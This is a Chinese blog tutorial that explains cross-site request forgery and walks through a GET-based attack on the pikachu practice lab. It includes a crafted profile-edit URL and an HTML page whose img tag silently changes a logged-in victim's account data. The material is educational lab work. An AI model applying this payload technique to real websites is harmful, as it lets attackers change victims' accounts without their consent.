CSRF:跨站请求伪造原理与实例

原理:

[1] 现有a和b两个网站,其中a网站为受害者常用网站,网站内存在csrf漏洞。b网站为攻击者网站,存在恶意代码

[2] 当受害者登录a网站并保存了该网站的cookie,在未退出登录的情况下,点击攻击者发送的链接,跳转到攻击者所创建的网站

[3] 进入攻击者网站时,触发网站中的恶意代码,使攻击者,伪装成受害者所在网站的账户,进行操作

GET类型实例[pikachu]:

实现更改用户信息

1.登录lili用户

2.编辑用户信息并提交

3.由于提交过后会直接跳转,此处使用bp,抓包查看提交参数:在提交时断网也可在url中看见

4.复制接口地址,并拼接url

http://121.40.54.224:81/pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=lili\&phonenum=18656565545\&add=10ss\&email=lili%40pikachu.com\&submit=submit

5.编写前端脚本

使用img标签,使加载时携带指定参数向接口发送请求

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <img src="http://121.40.54.224:81/pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=lili&phonenum=18656565545&add=10ss&email=lili%40pikachu.com&submit=submit">
</body>
</html>

6.访问攻击者网站,实现攻击

<1.用户点击链接

<2.进入网站,触发图片加载,向接口发送请求,实现修改数据

用户正常使用与攻击者网页发送的请求,进行cookie的比较,其cookie值相同

相关推荐
也无晴也无风雨25 分钟前
深入剖析输入URL按下回车,浏览器做了什么
前端·后端·计算机网络
Martin -Tang1 小时前
Vue 3 中,ref 和 reactive的区别
前端·javascript·vue.js
FakeOccupational2 小时前
nodejs 020: React语法规则 props和state
前端·javascript·react.js
放逐者-保持本心,方可放逐3 小时前
react 组件应用
开发语言·前端·javascript·react.js·前端框架
冰水°3 小时前
2.5_XXE(XML外部实体注入)
xml·安全·网络安全·xml外部实体注入·外部实体注入·xml漏洞
曹天骄4 小时前
next中服务端组件共享接口数据
前端·javascript·react.js
阮少年、4 小时前
java后台生成模拟聊天截图并返回给前端
java·开发语言·前端
郝晨妤5 小时前
鸿蒙ArkTS和TS有什么区别?
前端·javascript·typescript·鸿蒙
AvatarGiser6 小时前
《ElementPlus 与 ElementUI 差异集合》Icon 图标 More 差异说明
前端·vue.js·elementui
喝旺仔la6 小时前
vue的样式知识点
前端·javascript·vue.js